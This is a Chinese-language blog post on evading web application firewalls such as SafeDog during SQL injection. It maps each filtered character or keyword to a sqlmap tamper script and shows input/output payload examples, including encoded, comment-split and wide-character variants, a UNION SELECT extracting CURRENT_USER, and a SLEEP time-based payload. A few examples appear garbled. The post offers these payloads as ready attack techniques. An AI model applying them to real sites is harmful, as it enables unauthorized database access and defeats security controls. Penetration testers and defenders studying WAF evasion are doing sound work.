sql注入之tamper绕过WAF,安全狗

当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。利用sqlmap中的tamper给我们带来了很多防过滤的脚本绕过。

###

提示“输入内容存在危险字符,已经被拦截”

提示“请不要尝试在参数中包含非法字符尝试注入”

判断我们使用那种脚本

1,id=1空格      测试空格
2,id=1%201=1     测试等号
3,id=1%201=1 select 测试select
......

字符被过滤了,使用的py

1,空格被过滤了—->space2commnet.py

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

空格被过滤了—–>space2bash.py

空格被过滤了—–>space2morebash.py—->#代替

空格被过滤了—–>space2plus.py——+代替

2, 单引号被过滤了—>apostrophemask.py—->utf_8代替引号

双引号绕过—->apostrophenullencode.py

Example:
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'

3,等号被过滤了—–>equaltolike.py——>like代替等号

Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1

4,>被过滤了——>greatest.py——–>用GREATEST代替

Example:
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

——->between.py

Example: 
('1 AND A > B--') 
'1 AND A NOT BETWEEN 0 AND B--'

5,双引号,替换字符和双引号被过滤—>apostrophenullencode.py

Example:
("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'

6,数据库是mysql时—>halfversionedmorekeywords.py

6,加载零字节字符—–>appendnullbyte.py

Example: ('1 AND 1=1') '1 AND 1=1%00'

url编码转换——>charencode.py

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

字符串 unicode 编码绕过—>charunicodeencode.py

Example:
* Input: SELECT FIELD%20FROM TABLE
* Output:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046

大小写的转换—–>randomcase.py

Input: INSERT
Output: InsERt

宽字符绕过—->unmagicquotes.py

Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20

用/**/分割sql关键字—>randomcomments.py

Example:
‘INSERT’ becomes ‘IN//S//ERT’

关键字前加注释绕过—->versionedmorekeywords.py

Example:
* Input: 1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*
/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

用base64绕过

Example:
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

这里有两份汇总的文件,大家需要的可以下载一下。

后期会继续添加的